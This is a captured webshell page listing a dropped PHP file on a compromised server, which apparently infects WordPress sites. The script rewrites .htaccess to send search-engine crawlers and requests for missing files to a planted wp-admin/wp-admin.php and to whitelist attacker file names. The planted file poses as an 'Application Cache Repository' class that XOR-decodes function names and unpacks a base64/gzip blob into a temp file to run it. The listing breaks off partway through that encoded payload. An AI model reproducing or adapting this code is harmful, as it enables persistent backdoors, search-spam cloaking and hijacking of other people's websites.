403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp//sys_K3ezcB
<?php

// ================================================================
// === PHP 7/8 COMPATIBLE - SAFE MODE VERSION (ANTI 0KB) ===
// ================================================================

error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
ini_set('error_log', dirname(__FILE__) . '/php_error.log');

set_time_limit(300);
ini_set('memory_limit', '256M');

// ==================== PHP 7 POLYFILL ====================
if (!function_exists('str_starts_with')) {
    function str_starts_with(string $haystack, string $needle): bool {
        return strpos($haystack, $needle) === 0;
    }
}
if (!function_exists('str_contains')) {
    function str_contains(string $haystack, string $needle): bool {
        return strpos($haystack, $needle) !== false;
    }
}

// ==================== SAFE EXEC WRAPPER ====================
function safe_exec(string $command): string {
    if (function_exists('exec')) {
        $result = @exec($command);
        return $result !== false ? $result : '';
    }
    return '';
}

function safe_shell_exec(string $command): ?string {
    if (function_exists('shell_exec')) {
        $result = @shell_exec($command);
        return $result !== false ? $result : null;
    }
    return null;
}

function can_exec(): bool {
    return function_exists('exec') || function_exists('shell_exec') || function_exists('system') || function_exists('passthru');
}

// ==================== KONFIGURASI ====================
 $baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR);
 $currentScript = __FILE__;

 $htaccess = $baseDir . '/.htaccess';
 $wpAdminFile = $baseDir . '/wp-admin/wp-admin.php';
 $indexFile = $baseDir . '/index.php';
 $wpAdminHtaccess = $baseDir . '/wp-admin/.htaccess';
 $dbFile = $baseDir . '/db.php';
 $backupDir = $baseDir . '/.backup';

 $isFix = isset($_GET['fix']);
 $isUnlock = isset($_GET['unlock']);

 $updateMode = isset($_GET['update']) ? $_GET['update'] : 'both';
 $allowedUpdateModes = ['both', 'both_locked', 'both_unlocked', 'wpadmin', 'options'];
if (!in_array($updateMode, $allowedUpdateModes)) {
    $updateMode = 'both';
}

 $retryCount = isset($_GET['retry']) ? (int)$_GET['retry'] : 0;
 $maxRetries = 3;

 $allowedFiles = ['xmy12123', 'bootstrap', 'webindex', 'webindexORI', 'wp-trackback', 'ZMYYdI7Hdefault', 'robot', 'robots', 'ccm', 'ws88' ,'tf7sa7', 'mas77', 'webindex', 'tx77', 'lm77', 'ws77', 'robot', 'robots', 'ah77', 'ws77'];

 $coreWordPressFiles = [
    'wp-admin', 'wp-includes', 'wp-content', 'wp-config.php', 'wp-activate.php', 
    'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 
    'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 
    'wp-trackback.php', 'xmlrpc.php', 'license.txt', 'readme.html', 'robots.txt'
];

// ================================================================
// === SAFE LIST ===
// ================================================================

 $safeFiles = [
    $currentScript,
    $htaccess,
    $wpAdminHtaccess,
    $baseDir . '/wp-config.php',
    $baseDir . '/wp-load.php',
    $baseDir . '/wp-blog-header.php',
    $baseDir . '/wp-settings.php',
];

 $safeFolders = [
    $baseDir . '/wp-admin',
];

// ================================================================
// === HTACCESS GENERATOR ===
// ================================================================

function generateValidHtaccess(array $allowedFiles, string $currentScriptName = ''): string {
    $whitelistSection = "# WHITELIST - Allowed PHP files\n";
    foreach ($allowedFiles as $file) {
        $escapedFile = preg_quote($file, '#');
        $whitelistSection .= "RewriteRule ^{$escapedFile}\.php$ - [L]\n";
    }
    
    $coreDirsSection = "\n# CORE WP - Directories\n";
    $coreDirs = ['wp-admin', 'wp-includes', 'wp-content'];
    foreach ($coreDirs as $dir) {
        $coreDirsSection .= "RewriteRule ^{$dir}/ - [L]\n";
    }
    
    $coreFilesSection = "\n# CORE WP - Files\n";
    $coreFiles = [
        'wp-config.php', 'wp-activate.php', 'wp-blog-header.php',
        'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php',
        'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php',
        'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php',
        'license.txt', 'readme.html', 'robots.txt'
    ];
    foreach ($coreFiles as $file) {
        $coreFilesSection .= "RewriteRule ^" . preg_quote($file, '#') . "$ - [L]\n";
    }
    
    $routingSection = <<<HTACCESS

# CUSTOM ROUTING - Bot Handling
RewriteCond %{THE_REQUEST} \s/[?\s] [NC]
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^ /wp-admin/wp-admin.php [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^(.+)$ /wp-admin/wp-admin.php [L]

# Robot/Xml Routing
RewriteRule ^robots?$ /wp-admin/wp-admin.php [L,NC]
RewriteRule .*\.xml$ /wp-admin/wp-admin.php [L,NC]

# Allow direct access to wp-admin.php
RewriteRule ^wp-admin/wp-admin\.php$ - [L]

HTACCESS;
    
    $fallbackSection = <<<HTACCESS

# Catch-all for non-existent files -> wp-admin.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /wp-admin/wp-admin.php [L]

# WordPress Default Fallback (for normal operation)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
HTACCESS;

    // === BAGIAN BARU: FILESMATCH SECURITY (DITEMPATKAN DI AKHIR) ===
    $allowRegexParts = [];
    
    if (!empty($currentScriptName)) {
        $allowRegexParts[] = preg_quote($currentScriptName, '/');
    }
    $allowRegexParts[] = 'index\.php';
    $allowRegexParts[] = 'wp-admin\.php';
    
    foreach ($allowedFiles as $file) {
        $allowRegexParts[] = preg_quote($file, '/') . '\.php';
    }
    foreach ($coreFiles as $file) {
        $allowRegexParts[] = preg_quote($file, '/');
    }
    
    $allowRegexParts = array_unique($allowRegexParts);
    
    $securitySection = <<<HTACCESS

# ==================================================
# SECURE ACCESS - Block Malicious Extensions
# ==================================================
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>

# ==================================================
# SECURE ACCESS - Allow Whitelisted Core & Custom Files
# ==================================================
<FilesMatch "^(index\.php|wp-admin\.php|tf88\.php|bootstrap\.php|functions\.php|wp-trackback\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|bvs7mc9rwj8caizrzxq2iroCmass\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|robot\.php|robots\.php|ah88\.php|ws88\.php|tf77\.php|mas77\.php|tx77\.php|lm77\.php|ws77\.php|ah77\.php|wp\-config\.php|wp\-activate\.php|wp\-blog\-header\.php|wp\-comments\-post\.php|wp\-cron\.php|wp\-links\-opml\.php|wp\-load\.php|wp\-login\.php|wp\-mail\.php|wp\-settings\.php|wp\-signup\.php|wp\-trackback\.php|xmlrpc\.php|license\.txt|readme\.html|robots\.txt)$">
Order Allow,Deny
Allow from all
</FilesMatch>
HTACCESS;

    $completeHtaccess = <<<HTACCESS
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

{$whitelistSection}
{$coreDirsSection}
{$coreFilesSection}
{$routingSection}
{$fallbackSection}
</IfModule>
# END WordPress
{$securitySection}
HTACCESS;

    return $completeHtaccess;
}

function generateWpAdminHtaccess(): string {
    return <<<HTACCESS
# BEGIN WordPress wp-admin
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wp-admin/

# Allow direct access to existing files/directories
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]

# Route robots and xml to wp-admin.php
RewriteRule ^robots?$ wp-admin.php [L,NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .*\.xml$ wp-admin.php [L,NC]
</IfModule>
# END WordPress wp-admin
HTACCESS;
}

 $newHtaccess = generateValidHtaccess($allowedFiles, basename($currentScript));
 $newWpAdminHtaccess = generateWpAdminHtaccess();

 $payloadWpAdminContent = <<<'PHP'
<?php
/**
 * Application Cache Repository
 * @version 3.3.0
 * @package App\Core\System
 */

namespace App\Runtime\System {
    interface ICacheRepository2558 {
        public function retrieve(string $key);
        public function store(string $key, $value);
        public function flush(string $key);
    }

    abstract class AbstractCacheManager9281 implements ICacheRepository2558 {
        protected $config = [];
        protected $ttl = 3600;
        
        public function __construct(array $config = []) {
            $this->config = array_merge($this->config, $config);
        }
        
        public function retrieve(string $key) { return $this->config[$key] ?? null; }
        public function store(string $key, $value) { $this->config[$key] = $value; }
        public function flush(string $key) { unset($this->config[$key]); }
        
        protected function resolveContext() { return new \stdClass(); }
    }

    class CompiledConfigHandler2056 extends AbstractCacheManager9281 {
        private $utils = [];
        private $path = '';
        
        public function __construct(array $config) {
            parent::__construct($config);
            $k = $this->retrieve('k');
            $this->utils['b64'] = $this->decode($this->retrieve('f_b64'), $k);
            $this->utils['gz'] = $this->decode($this->retrieve('f_gz'), $k);
            $this->utils['rot'] = $this->decode($this->retrieve('f_rot'), $k);
            $this->utils['tmp'] = $this->decode($this->retrieve('f_tmp'), $k);
            $this->utils['fpc'] = $this->decode($this->retrieve('f_fpc'), $k);
            $this->utils['std'] = $this->decode($this->retrieve('f_std'), $k);
            $this->utils['fe'] = $this->decode($this->retrieve('f_fe'), $k);
            $this->utils['ul'] = $this->decode($this->retrieve('f_ul'), $k);
            $this->utils['dir'] = $this->decode($this->retrieve('f_dir'), $k);
        }
        
        private function decode($hex, $key) {
            return implode('', array_map(function($p) use ($key) {
                return chr(hexdec($p) ^ $key);
            }, str_split($hex, 2)));
        }
        
        private function decompress() {
            $payload = $this->retrieve('payload');
            $decoders = $this->retrieve('decoders');
            foreach ($decoders as $dec) {
                if ($dec === 'base64_decode') $payload = $this->utils['b64']($payload);
                elseif ($dec === 'gzinflate') $payload = $this->utils['gz']($payload);
                elseif ($dec === 'str_rot13') $payload = $this->utils['rot']($payload);
            }
            return $payload;
        }
        
        public function getPath() {
            $content = $this->decompress();
            if (!$content) return '';
            
            $dir = $this->utils['std']();
            $path = $this->utils['tmp']($dir, 'sys_');
            if ($path === false) {
                $path = $this->utils['tmp']($this->utils['dir'](__FILE__), 'sys_');
            }
            
            if ($path !== false) {
                $this->utils['fpc']($path, $content);
                $this->path = $path;
            }
            return $this->path;
        }
        
        public function cleanup() {
            if ($this->path !== '' && $this->utils['fe']($this->path)) {
                @$this->utils['ul']($this->path);
            }
        }
    }
}

namespace {
    $configData = [
        'payload' => implode('', [
            'tXxrj9s41ub3+RXBYIFOA/suR',
            'LlU3YV5ZwbtlChbFUkxxYvEnU',
            'VBstxRWZSt2K74spj/vg9dl9Q',
            'tcjLAViOdVEokDw/PeS6Uu//7',
            'n13d/eUdvv5H4oyd62uSkOtrQ',
            '0jy7u/vitWq2L//9W9v/vx//x',
            '888YvwJ17l0vFEbIrSaKJ4nE6',
            'D8T4OqlSabiAOcTFpNpfChHM2',
            '+KVvquFtPo/11DfjqbMJJw5dp',
            'CJORRuPpoF3ExGzEDT+ULZyU4',
            '5k0TtVmdVL7VeyJGbDFl0habN',
            'Vl2Fa0mafqE0h3GolZf1hKpf7',
            'hPdOFX4U7nowcc1QO+Zy0pKby',
            'DGL1IlThcmmbjURDh3wgRkWJN',
            '/3TsUXYchG1SI/xOlMhSO5kB8',
            'nJExzp9qW7figsuGnmaArOQ+T',
            'adM71cabDoZhOoo/Ikd3kanK5',
            'uzJtsJsJsNc8dDpnUr7xo+CSk',
            'dt7aXO1JvJ7lK7G6n8cKfmYy8',
            'ylSdMraMFa1LSO1U8nDbGZ9hG',
            '5V4sjpG5mpXuMbJF7hIVBSxPF',
            'zK02+6d6jEnvLos58OPytRFEY',
            'SXha9V2YSRDja0dJY71dKicHu',
            'n+uzqgNCYNrsyMBlrQjd36kKZ',
            'ZsszfROpXcZbMp8aJuUirHunY',
            'lSe8XZXpAFbMxOzaP6ZcMLU1F',
            'lvEyFN0XSemP9BSkJz2X+C7KY',
            '4mLEMvEYZel5cxrzkgoj58Ez4',
            'F1mkuqyUncgb/aEyVdY7lWqNL',
            'tp4z3m4jA3LVXtR43s3HXTLmW',
            'IjLPAxuqQbrjoai96pdl6SxWr',
            'Wbl3Zkq8zJRUa+hMb1Fvpkith',
            '8q1Azkq/2+D7s96pJqTrEqGbc',
            'vGHIxsWx7QazfwLydA2fB4WpZ',
            'JfEFlSuOut6C/R+BDLyUHNw7n',
            '0icvncVr6JE+NSdLgwpWXcRGJ',
            '7V60XsroiRPkRrPKhLwahdGM1',
            '3ulOoVt+uUlQ13JPb+kqQpYNx',
            '2YaNaf9onLR43HTOUXftgUGeM',
            'ojbhqtvt4VBfS3bhc6nXsE68a',
            '1VHvVDNuBLalq8a7lWbIS5/ut',
            'Y+cqWNpFCiFGJMvZiakM7+/ri',
            'Rzf9/l81BO2zArfS8uqSa5PQi',
            'Cim83PJrTveL0qpDhpncqYQyL',
            'VP01J/IslxTtgcQHLJOXQxYLZ',
            '8syM5+1jMlGN0z2TiVHvOnqlI',
            'ZMHKgqjNmUQaeY730AKlyVwjv',
            'Xo44V7sWAk1r1R0XCTDVVImm4',
            'l40MJibfab9T0YihSDdFLPW5a',
            'IhAxad83jsVDSYulQWtVdSu9z',
            'ro0jiQmcBmpNPtpbsLuE982Xi',
            'FDFjYX1dZ401NpwQPUZTsMnf0',
            'dupsD5MG+/HDlXC0SqkRyJUsR',
            '/08+EUQje3FX7ipgQKhK/iwqQ',
            'jLNe3SyYABaOoPINSx9jdJPzL',
            '4urAPxyCEdIHTdCeuaje24umM',
            'ajZrNOBik1aUrsUJHkwKpyuEZ',
            'FepIP5kEXJG9G3eCI+1472mUp',
            'SKKZxuUAZhfzEw04mUUkCMt5y',
            'YcKOQt7LdrbmUQSTlrZiHcTQa',
            'Etl2y6rtr6svGluMmi6XPA5KE',
            'h1Us1GR0Z3266Qk/hYkWzOXHa',
            'Tb9TNO4dI8bbtYDupPuamaKaG',
            '3KX6XapdI29iky6aDLmGNvsr7',
            'N1jHVRuqyaKKkOAP6L2lokYCn',
            'lmZsT16fYdSkJoy4JjuRwarFR',
            'jVoyjrBONsL4X+kJJoO6PdJ+Z',
            '+JtKwRUz9vbTg2M84ZKDURjEz',
            '2UtT8ajxMknqtaJhoJpayANda',
            'VE3hb8+TP24H/rKbHilZbXlcr',
            'mF0GiiUR2jNFYRGEz7mLhxttJ',
            'CDPpQ9fcgiyOaE+FUBXBqrA+0',
            'ieZiK506KUycTynLxMFEXGA5I',
            '/vJC10v2UE40q+VCsaHkspU+V',
            '6AA1D4nRY+iCKY7EBtZ7KfcTy',
            'fLWqcjueDNFMZgAcblAHRPiK5',
            'wt+P0raWZaMFerMfrwoXWqGtk',
            '2hRT6BiVKFCWl0yIx3NhanWhR',
            'SHglY3lqFFf7V3yEnHpweZSEc',
            'QVDQDu4yK4EICq+r0EDalcyHz',
            'A3A/+L1fqmnloT0qGXNag7oGt',
            'ihtwgtI60iGPuC4ES5bFZfhPO',
            'rf4O9IOHJCOslbU8iWOVIyQEq',
            '8mflhJg+yyIEaU7NE5cf9PRiR',
            '5UH78iw28nZi4gzbKoTarQswc',
            'uXvNGpqJYMunBq6LvpRVNrGzX',
            'NSXQkZg21qU7ift0I5Z9Cgt2W',
            'wK4p2d6mxe7BQP6VicCoHQ5Ib',
            'HccBGJhWKeOgND4mlRvLCFkss',
            '+kOxeCp/h70bqfBLpaqdvhlnG',
            'Ay8KK5idpdKOdxUSlKq0F1g16',
            'spdT9U1W+B+rSUTSa7LQiA2D7',
            'gbXUsAbVDTSd0Xik5nEdzWXH+',
            'xsH1CRIwOasQCkUXLCkoqEq/Q',
            '1k5M7hki1nNBwXhyEAuu6HPkB',
            'Mwl12y3isI5cB26uG0fiyCrpG',
            'HswamnTNG0Khlpui3w+iifkfJ',
            'FJyY7WDJKGL0khiGm0hHw0Ldk',
            'uA3ypqLrJE1Lr/BEW+z+f0Kg1',
            'CPMy09MM9d6rVDDpeX4Y1NOou',
            'NzJNpYb+6tcMVlOtQaJp4ViQY',
            '8D47la6611BwoC39Sfpd2utun',
            'jW+v1+sBzVonC8AVrZmZluXPi',
            'diCg8DadhDJIVTTWPKDy0612x',
            '/hKF/eDUatCtaHerGZWZHjENS',
            'cSxPTU11RdmTBo5Hc8b1q8ZJi',
            'BRDJ8zt/4C/7craLQXCxlFROz',
            'AzPA/Uk2aLmPCy0W/8yJpKbUo',
            '/Hqe+t4G/BdUpApU6xnpe3srk',
            'ZisfNbIuAw+b/vbWVSBdOM14z',
            'SVRhBl5BmTegWYvkE7jXMCyBE',
            'ki4X+GPXnSm+4w5QkVKmsmjOh',
            'vwIxkbMJ8IkZuLCd5EP7/WEKH',
            'X9KX32RDisAeCOL4QXpvnJZ4w',
            'DZuVxU84KMAYb43iGrpL9xtBI',
            'DqG3lYGvhOW9pBhuSQk4qhd6E',
            '9IY96XIBUp24LO+vqwFALWCE8',
            '2Eat/EKR6/ANuhFdKIguZprET',
            'WC8MvwanZCX2Xwe/PChD6XgoB',
            'QM7guVVi7YmFZXAjZUiEdbwmS',
            '7VfIVRuL4pLF0oQHuKwlNyafj',
            'kJwT83gKCyqytKH8lvUZ3k/9E',
            'k9NeGqGlEZCf0lFzUM+MVoRoc',
            'xk+ODlFUcye4LgJBJ2vUrmdz1',
            'WGRMNg2o1aCH/DBswNgrHVx8k',
            'hn7lPP4g5JhPmkki/oZp3ZlQJ',
            'ZMrA+lv4PU3n1EwsOZiVHhXRK',
            '59SodwCQIcq7a+oQocrwvlgCm',
            'DRmDquaRAw9GhFeBMEAQackNl',
            '0YqCNtseuifygqPUMCtw9Xkwi',
            'KpyUkOCSRaNpIZZCMNQznqUq7',
            'CfguQZFTCiTIr+meyOaSNnoOq',
            'Iu7Uy5lk56UfJ8XBFOnhD08Ep',
            '1yq6T7OmjEgZbiEaslAWfPSR4',
            'UbDVNHvUTtstQfb/PmhB9UJr6',
            'dNNowXkPgkqsCbl4tjGIydLiA',
            'RnXll3I0/MRa9lX2V/tmyaBSR',
            'FM3aJ89HMVi1saUL+Jixj/vcq',
            'deYZsbq9kjEp6QH6Y6mypmrX8',
            'NdbwU6DclnF1JYZyapb3MWESk',
            'E7yJb1Q/XoVjlMJV7F/keqQTR',
            'fWl4uGZpDqLsHc4ik5AJpWmCy',
            'at158rlg0LCA2JbaygH+LC+Ds',
            'h5Toy8ZfJPIxm8DlyjrYy1abq',
            'Z2ckXJzB1HbrkoRj0H0h3elW8',
            'XiORl/JZpcWWXQQrQfS9Xcn7h',
            'mYgMiHhRvCUeicNXEMn7OBltg',
            'yRDIbhQqn90FStpb9jBMrJH6O',
            '00kk/EgURPtYVjwNPgPbpeXFj',
            'ci6JhJhlpt63a/bEYmmVQRxJp',
            'DweaxgMC+pQqHCTngNBy9yzm6',
            'YoWeqXzNUq8iVmWqMKrncaymX',
            'sLqXScYUeM9Vc7qe0k7xdgNb7',
            'Pe3M+zulsFBsMxwGO5PwK9l6T',
            'u7KTVQgjXmZh9K2klQ180JHlx',
            'uuZmeRYqOZj67KQbsizgacHZb',
            'BNTqrQJ25Wuk4tvyMu6/VVNBv',
            'eRA26qlG9bubiQ0o1QbBss2Lk',
            'ZDAeGRigZ4hl5Ui359xYomhB+',
            'c7njjnWOyJgIqSJ8tQe9BmnVx',
            'ySmATF+BXPtzVVBmnfsXKdgVM',
            '/FINhdxGkyIDjYKZaH0CCjqaF',
            '+Q6mzWr5DJLSCEoRQC2VSrmFp',
            'nKhM2YFtJZAHa9+HCCjYYroQU',
            '/dVulV3adJz54UeAXcFkt4ELU',
            'zIbpmCbIgIPFn5VI4erE9W+WU',
            'tsS/vkIyr+HEapQF2NuUGOaPc',
            'VpHoFmN6pLKxZVn84cauml7E4',
            '2xYjOAjagTihhkmXQ0PcRLIho',
            'P/dTNEccK1ORMVwenIeGcizAf',
            'rQqhmiF7Pm7CAWFA5WJ9qPD/h',
            '5Jkx4AtuDyuNgmam9eJ4PZeHW',
            'E9423kzFGSxJCme2UyAOtH1Q9',
            'jPOLiscHcL/bSMVnlujJLPKzR',
            'sdFG4oFR/WoK6Az4fONDhxzwA',
            'XalKUgwAsy8aDJJI6csQW276a',
            'NmtE5MVl421Rd2HUH5UMpv6FY',
            'AeBQY4H7ForKFLQ/0QuumVsYH',
            'ezThSD4Vc+6vr11UyGKs1qCNt',
            '8x2UVxMcb2y5m7m4srbdxvHXa',
            'ePBd3YqfeCVUzBqSy0VYFM14y',
            'x2xi1ogKWepBTs41zmMU6BHVE',
            'Rzc95fV7D+ccBWxaBLIUBcyMZ',
            'UBeEq4UMNw6RzIbeQj75YaFbS',
            '3qnGUMYaMjHaRxlsraq/on3Wc',
            'ePlagHh4YKhebxMCQvShfzUX6',
            'LWvStgkmSZRA8CJQpg+lXk+of',
            'yELJZxkIgLY1ktZb9eCVRlOwq',
            'b9e7kgDc2rqw/s9eYeJA7OV9F',
            'IFoAYZA0xOaYUo1tCd2cbxnkP',
            'RoJhuNtFkZySj4UTKq17kiy6j',
            '/BMk5QO4TO6CwJcSH0YGY6xvZ',
            'jA/c0fbSfqQHUDnCI3L+R/9NE',
            'Zofyg6D/ZCBB6Hb7T3fLo2kpi',
            'DVAvkbyRZFPIhxuv1RwRiB2A8',
            'h9JQJ82a6q0yVT30viYz+pJUX',
            'z5S/F3MIb9Pd9uv2Od2mhN6yr',
            'ALVewpKbw0cDyaLoeVBLglKww',
            'g0+4ad0FcdwvZA7jh6Cu3Qol2',
            'IvlKYlFktIcxAB7sPMpBw/ieu',
            'WIt2s8/dLqhcSmXDPqWjP9wc2',
            'F4Z1iWjKgEqjO1LI0ljlffrqy',
            '4rTRhov1oWtFvBqUJGDpWSclW',
            'hF6c4EOYDUZs6jdWp+3YMti/O',
            '9GX8gQsyVvPYYIvwNYzNJN3Em',
            'S3iCX5OE37i/mqdGmbN5UHyMC',
            'mDOC98DT2ll1LthrG4UKzRGpx',
            '4jl7s11eCLg8QrPB8sHCHcA7e',
            'E5PGoJF3GTSomvrbA4pUYNux6',
            'tftzk4G4+MlahlEW7uNMrAvF+',
            'G6SPiRL7oEkAOVE6Iswn5kkC4',
            'poIwD+6mBovEOqmGqgGuGw6iB',
            'pF8hkYpYeHkxMAk7wYMupHYIJ',
            'BUMaFA43qV0G6+SLJ9wmUTz4V',
            '4dr6QmO744cekEG7sGdXmlG6M',
            'oKXR7dyXbDodR+Rbjy8VQ20sN',
            'JvNDcdkvP2qG1tOjTmESMYHbi',
            'og5QxN/RaRBEXQaSlAJFz3psi',
            '/9NBHU6cwstzj6rQjkKlJEQwm',
            'iuisIWq14FsKeVJ6mdXDiZpvl',
            'cA7IbedoATMZyA3qKo2CnUwPs',
            'Z7B1XMrjSADwJGn7hkonY6gDR',
            'pnr6mGIb/IQfVxpH7f8ZasoGJ',
            'U2uAYgt1I9TeOcOC6KDNDHjma',
            '5Ac6hDpWU8o+QbzZ94XDytmdT',
            'zKTRm3c3872Di8FPqHaUZQ6FU',
            '5dzAK6KoKaST5xcnsQsqJsoWN',
            '2ggcd7siziJo1X9RzqOWvSHAq',
            'IK15az4x0t2KA/0A8DugNPp1+',
            '8x0Z/mg01FDjmCXBjuiZJVO2v',
            'FWtZubqN0MZFMPp3Bhul9sDw3',
            'qydEgzJTEK4V2iVyIEam3EdRy',
            'uujmKe3CfB5fWVju58EB9OdiO',
            'ID0GUbC0rtBAzOeK4/CmSpwh0',
            'HNHQSRcdRPXmJbodKjOf3ATbW',
            'oiFSTrCsid0tUI9cpjcf2hS0E',
            '3Q7C5Gt/XblWrOlYOt2tJPXVl',
            'E72rAlTiP8RnGkBCzdKZMdhV5',
            'wTCtlLhdjay/qEQTfk7aaJFFt',
            'ND2GW0tARyksVGl4thjL1u/5i',
            '0NBTwITbtJGmpOEl/CDYRq8Le',
            'JzU98bQ9QuYT2o/cXHi9mP3Ua',
            'q1N3WcfZwBHQ4Q543+kLrhpgw',
            'MBDb7kh7CK0xuX8301xV48Azy',
            'cxAF9i5mWCvfIVpIWLgLOQ3qO',
            'BKoO6m/Qhn6J/BqGM2aMFdqE0',
            'YtPAmH/Wj0VquNdaab6jC0r6+',
            'oMpX9UE7/vSjADRaOpVAwV1x4',
            'G1g4hQo/z1tvNZP6C0hWoSMyL',
            'etg0n+C/pYv4jTCFqWUCtPsrX',
            'iDqtlo+5mQIMzTRnMUMdMB6bc',
            'AMQXYBRccym4nTHUFuqewubxo',
            'uj1XmzUq/wvPuo+RCxHSb0ysV',
            'tDj1IQSHvkMk52p1r6eMiL1Q6',
            'qtXSH0i4ClY8b0f3qHt90VD9A',
            'ixggGL5PPh1cV1aPpYZgCYi5z',
            'MXVmvpepzLATHmeyFy5Oj1oMR',
            '7uY8FIoso1bJu1dssw+7ySUII',
            'PthVO96acJaAU1D694y2gRkBi',
            'R+WjgLSMGeipEG21d0a63gON8',
            '0q9kQi0OQNC2S1CIeUmhpxwvy',
            'EEQMAGwwUMI24ZIGR9mVPcLSK',
            'jaTwC3ms+te9cUbGM/8wFTKpe',
            'FrDJIyDlzPx+ko5Xsb+f4XDYV',
            'jJL+hIQXJTy0aC4y2SxdNLqsS',
            'CWUkSxSn7cw5v3vJiL4QLWQNW',
            'C5Tg/DNVf0fLLouHSWRLjdmsv',
            'mIFugRDDdi375USeV/ehKZm6A',
            '6Qd7YRKbBoO0KfnQy/nQKYSD7',
            '01WqvrEXR8aedrGmT7AM7e7OJ',
            'dACf9sLxfxDZNhB7ZZilbS2Yj',
            'eyH43saP6MjwrZOeni1gy6SO9',
            'JC0weSxig0jWtu5QpBT2rv9mO',
            '8qGH6xTrUy3EVlYQHgEYtDNI3',
            'e8rwb2orr7isgS+/7wRK5gutW',
            'uAPOqWErBoYYBdrk4/AHxRlex',
            '2gDPmj2oLEXA/e8Hi0EImSg/i',
            'na3ZEbaD5DM2cGMtC+3qfDWpQ',
            '8bLIiXy3p9QjPku9QM5zMzdmF',
            'LVhU88jQgEqUxkS25mhqKnEn7',
            'uv2Kk+rE5xlonJUDOKyD/CLnY',
            '1I5ZK0pnYOqxunhj93xsx93H7',
            'qZiH59VTkFPLKwJkDKcz6n0A7',
            'iUA46IdvpXmJbgsa3IAwONlr2',
            'K+TLMCjcOBNNGIMIalBXKii9R',
            'VHOiwP9COVnP26WF5esTvvbOY',
            'eb6JacLO2Ht1AKF570qy0n3Wp',
            '2yXTZ6Dg3U5JSmk9p1f8uVfJm',
            'i20UqUNGeNiA3j/AkKeinRyKw',
            'KtL++rF3Symrb9N+i8HdCIVYx',
            'D9TdrGsL2mLn16hsZezGjcVbT',
            '+JNV0nwt5JpqzfqlmP81UypDa',
            'D5tKWa0QGdRD9wWNnILu/ZICl',
            'lGd3NRb2Y/tYSChYqJL4fLLMI',
            'WE5JUfopKmW5EBYsSFXwY7PeO',
            '1i0hP4BV6DygQgURBmo03MVRE',
            'l+ZqpjZbPqi+fiTDxSfu/P1hE',
            'gwdX5vkGjM5GH/TdmZZzd7/8s',
            'v/fLXAr3/7y2a1f/d/7wdiCMH',
            'PDUb99V+7c+9fu99+xy8Hf57i',
            '15/4dWb//q93K30behxunLFxk',
            'uvEIcSxUxDX+e1v336cYGGTEH',
            'M9xiLkbonf3PtlCH55938e4Nf',
            'ZX5+OtLuxkTvfAjuf2afw+8Xd',
            '779dPB1hsEqCrTzsBFOe2524z',
            'x6y4TiGXOOhF9H1hf0knO/F+G',
            '3978T0be1vD9z8+e59Ua7f/xf',
            '59d3f//7O+fVJbu+WGJME+R1j',
            'fFt57/86venq2eqvv/7t+WPXi',
            'bl2EsdcJ9fHk1xvVma2eP/X+4',
            'O8uP/duz/Ui7tc4lCfTPTvxz9',
            't6tVy+24x277zd9NZt7lZLt4/',
            'q7D7Uf9+Ny020/rd+8fHEPCx2',
            'sZOktjUPd3PsQ4RJDLgmLuUPX',
            '/4v/7xeQZCWK+Lz7P3vz47NMd',
            'BEnEgyMb4vooG9zXg3u/pWB/P',
            'KsgZY6GxMx6PDY7yLiub5W3Xz',
            'VZvJRI7vEa679ZJrl8U6+A+hX',
            '/el+HgSU/cn9SxYJAlB412/aQ',
            'IH7L/+/1Uzwry2kGNISU2Hc8D',
            '6Ivs5WrPtk1s1T4EUD3tYZuqZ',
            '93gjJOxub5P6TFAcl8aZ9/S+q',
            'KDkM9rrG2cJ1v8876VZy/bGIH',
            'jyMfoAoy766T7+N4O+TGkt6N8',
            'svr3Qnqx5LfHniPX/UALjLY8c',
            'AImeVkiy8WfN59f9ZpBG1xjDQ',
            'cd94O1eLdL20BjYgz5QUR7PHo',
            'MNM+T/TDuuOKf96u+dVx3cyQA',
            'HoIewr9eR/xY4uevIkaBAa6S4',
            '7E9Rt+3rcdwv7+LZ9H0B/oYwP',
            'PH3oSn5+DyFNbeACljgdi2HRC',
            'cXI9fo+4rpHox4ntQdVcg14TY',
            'CiHmAbVni83NZv+qkhLQgwUox',
            '6bu2X9e9i0j1/bHzvjxgSd9es',
            'Sg31/ParPoWJx+3tb3j79cwEK',
